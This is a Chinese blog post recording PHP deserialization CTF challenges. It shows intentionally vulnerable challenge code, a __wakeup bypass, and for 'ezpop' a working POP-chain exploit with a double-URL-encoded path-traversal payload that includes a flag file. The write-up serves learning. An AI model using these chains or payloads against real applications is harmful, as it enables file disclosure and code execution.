Lily_White
PHP 反序列化题记录

PHP 反序列化题记录

A25 - mew

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
include 'flag.php';
class Name{
public $username = 'nonono';
public $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}

PHP/5.6.24
入门级反序列化,序列化对象数跳过 __wakeup() 方法。

A26 - serializable

1
2
3
4
5
6
7
8
9
10
11
12
13
error_reporting(0);
class evil{
public $cmd;
public $a;
public function __destruct(){
eval($this->cmd.'114514');
}
}
if(!preg_match('/^[Oa]:[\d]+|Array|Iterator|Object|List/i',$_GET['Pochy'])){
unserialize($_GET['Pochy']);
} else {
die("hacker!");
}

PHP/8.1.9
这个版本不能通过 O:+4 这样的添加加号绕过正则。
没有什么头猪,以后再看看吧

A27 - ezpop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
class night {
public $night;
public function __destruct() {
echo $this->night . '哒咩哟';
}
}
class day {
public $day;
public function __toString() {
echo $this->day->go();
}
public function __call($a, $b) {
echo $this->day->getFlag();
}
}
class light {
public $light;
public function __invoke() {
echo $this->light->d();
}
}
class dark {
public $dark;
public function go() {
($this->dark)();
}
public function getFlag() {
include(hacked($this->dark));
}
}
function hacked($s) {
if(substr($s, 0,1) == '/') {
die('呆jio步');
}
$s = preg_replace('/\.\.*/', '.', $s);
$s = urldecode($s);
$s = htmlentities($s, ENT_QUOTES, 'UTF-8');
return strip_tags($s);
}
$un = unserialize($_POST['pop']);
throw new Exception('seino');

PHP/7.4.33
构造 POP 链,前半部分 exp 如下:

1
2
3
4
5
6
7
8
9
10
$p = new night;
$p -> night = new day;
$p -> night -> day = new dark;
$p -> night -> day -> dark = new light;
$p -> night -> day -> dark -> light = new day;
$p -> night -> day -> dark -> light -> day = new dark;
$p -> night -> day -> dark -> light -> day -> dark = $path;
$sp = serialize($p);
$sp = substr($sp, 0, strlen($sp)-1);
echo "\n" . $sp . "\n";

该版本的一个特性:若 ,跳过后续的 throw new Exception. 考虑如何绕过字符串拦截:由于 $s 是先正则再 urldecode,所以可以在传入 $s 时用 %2e%2f 分别替代 ./,由于传输过程中有一次 urldecode,所以在 POST 数据包内应该用 %252e 代表 $s 中的 %2e. 注意此时的序列化字符串中 path 的长度不应该用 %252e 的长度计算,而应该用 %2e 计算。最终的 POST 如下:

1
pop=O:5:"night":1:{s:5:"night";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";O:5:"light":1:{s:5:"light";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";s:40:"%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fflag";}}}}

注意此处的 s:40:"%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fflag" 中 40 不代表后方字符串的原始长度,而是 urldecode 一次之后的长度。为了保证所有属性都解析完毕后再报错,删除了序列化字符串结尾的一个花括号。

备注:用 php-cgi -f index.php 'q1=v1' 在 docker 内手动模拟 GET 请求

A28 - ex-phar

Author:Lily_White
Link:https://yutori-natsu.github.io/2024/08/15/PHP-反序列化题记录/
版权声明:本文采用 CC BY-NC-SA 3.0 CN 协议进行许可